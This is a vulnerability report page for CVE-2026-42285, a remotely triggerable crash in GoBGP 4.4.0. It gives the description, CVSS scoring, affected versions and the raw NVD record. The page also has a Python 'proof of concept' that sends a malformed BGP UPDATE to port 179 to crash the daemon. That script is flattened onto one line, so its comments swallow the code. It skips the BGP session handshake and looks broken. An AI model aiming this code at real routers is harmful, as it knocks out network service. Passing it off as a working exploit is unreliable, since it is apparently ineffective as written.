Security Vulnerability Report
中文
CVE-2026-42285 CVSS 7.5 HIGH

CVE-2026-42285

Published: 2026-05-07 12:16:18
Last Modified: 2026-05-11 15:22:48

Description

GoBGP is an open source Border Gateway Protocol (BGP) implementation in the Go Programming Language. In version 4.4.0, an unauthenticated remote BGP peer can trigger a fatal panic in GoBGP by sending a specially crafted BGP UPDATE message. When the server receives a message with inconsistent attribute lengths, it improperly handles the internal state transition to a "withdraw" action, leading to a nil pointer dereference in the AdjRib.Update function. This causes the entire GoBGP process to crash, resulting in a complete loss of service availability. This issue has been patched in version 4.5.0.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:osrg:gobgp:4.4.0:*:*:*:*:*:*:* - VULNERABLE
GoBGP 4.4.0
GoBGP < 4.5.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# This is a Proof of Concept for CVE-2026-42285 # It demonstrates the concept of sending a malformed BGP UPDATE # causing a panic due to nil pointer dereference in GoBGP. import socket import struct def send_malformed_bgp(target_ip, target_port=179): try: # Establish TCP connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) # BGP Marker (16 bytes) marker = b'\xFF' * 16 # BGP Message Type: UPDATE (2) msg_type = b'\x02' # Withdrawn Routes Length (0) withdrawn_len = struct.pack('!H', 0) # Total Path Attribute Length (Inconsistent value) # Setting a length that does not match the actual attributes sent attr_len = struct.pack('!H', 10) # Malformed Attribute Data (Shorter than attr_len or invalid) # This inconsistency triggers the state transition bug attr_data = b'\x00' * 5 # Construct the packet length # Marker(16) + Len(2) + Type(1) + Withdrawn(2) + AttrLen(2) + Data(5) = 28 bytes msg_len = struct.pack('!H', 28) packet = marker + msg_len + msg_type + withdrawn_len + attr_len + attr_data # Send payload s.send(packet) print("[+] Malformed BGP UPDATE sent to %s" % target_ip) except Exception as e: print("[-] Error: %s" % e) finally: s.close() # Usage example (uncomment to test): # send_malformed_bgp("192.168.1.10")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42285", "sourceIdentifier": "[email protected]", "published": "2026-05-07T12:16:18.180", "lastModified": "2026-05-11T15:22:48.177", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GoBGP is an open source Border Gateway Protocol (BGP) implementation in the Go Programming Language. In version 4.4.0, an unauthenticated remote BGP peer can trigger a fatal panic in GoBGP by sending a specially crafted BGP UPDATE message. When the server receives a message with inconsistent attribute lengths, it improperly handles the internal state transition to a \"withdraw\" action, leading to a nil pointer dereference in the AdjRib.Update function. This causes the entire GoBGP process to crash, resulting in a complete loss of service availability. This issue has been patched in version 4.5.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:osrg:gobgp:4.4.0:*:*:*:*:*:*:*", "matchCriteriaId": "6EF1E97F-CA8A-45E6-B115-E9BD4EC8B36F"}]}]}], "references": [{"url": "https://github.com/osrg/gobgp/releases/tag/v4.5.0", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/osrg/gobgp/security/advisories/GHSA-p3w2-64xm-833j", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/osrg/gobgp/security/advisories/GHSA-p3w2-64xm-833j", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}